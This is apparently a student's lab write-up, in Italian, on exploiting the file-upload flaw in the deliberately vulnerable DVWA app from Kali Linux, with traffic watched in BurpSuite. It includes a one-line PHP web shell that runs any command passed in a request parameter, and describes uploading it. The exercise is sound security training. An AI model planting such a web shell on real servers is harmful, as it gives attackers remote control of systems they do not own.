



W13D2

ATTACCO DELLA DVWA

La traccia

Nella lezione pratica di oggi vedremo come sfruttare un file upload sulla DVWA per caricare una semplice shell in PHP. **Monitoreremo tutti gli step con BurpSuite**

Traccia:

Configurate il vostro laboratorio virtuale in modo tale che la macchina Metasploitable sia raggiungibile dalla macchina Kali Linux. Assicuratevi che ci sia comunicazione tra le due macchine.

Lo scopo dell'esercizio di oggi è sfruttare la vulnerabilità di «file upload» presente sulla DVWA per prendere controllo della macchina ed eseguire dei comandi da remoto tramite una shell in PHP.

Inoltre, per familiarizzare sempre di più con gli strumenti utilizzati dagli Hacker Etici, vi chiediamo **di intercettare ed analizzare ogni richiesta verso la DVWA con BurpSuite.**

La consegna

1. Codice php
2. Risultato del caricamento (screenshot del browser)
3. Intercettazioni (screenshot di burpsuite)
4. Risultato delle varie richieste
5. Eventuali altre scoperte della macchina interna
6. BONUS: usare una shell php più sofisticata

Creazione dello shellcode

Creo innanzitutto lo shellcode da caricare sulla webapp.

```
(kali@kali)-[~]  
$ cat shell.php  
<?php system($_REQUEST["cmd"]); ?>
```

Creazione dello shellcode ed avvio sul server

Carico lo shellcode su DVWA e provo ad avviare lo shellcode sul server.

The image displays three screenshots from a web browser showing the DVWA (Damn Vulnerable Web Application) interface.

The first screenshot shows the "Vulnerability: File Upload" page. The left sidebar contains a menu with options: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload (highlighted), XSS reflected, and XSS stored. The main content area has a "Choose an image to upload:" section with a "Choose File" button and a text input field containing "shell.php". Below this is an "Upload" button. The "More info" section lists three links: http://www.owasp.org/index.php/Unrestricted_File_Upload, <http://blogs.securiteam.com/index.php/archives/1268>, and <http://www.acunetix.com/websecurity/upload-forms-threat.htm>.

The second screenshot shows the "DVWA Security" page. The title is "DVWA Security" with a lock icon. The section is "Script Security". It states "Security Level is currently low." and "You can set the security level to low, medium or high." Below this, it says "The security level changes the vulnerability level of DVWA." There is a dropdown menu set to "low" and a "Submit" button.

The third screenshot shows a terminal window output. The address bar indicates the URL is "192.168.100.4/dvwa/hackable/uploads/shell.php". The output displays a warning: "Warning: system() [function.system]: Cannot execute a blank command in /var/www/dvwa/hackable/uploads/shell.php on line 1".

Intercettazione e richiesta

Intercetto la richiesta che posso modificare in un secondo momento e reinoltrare col tasto forward

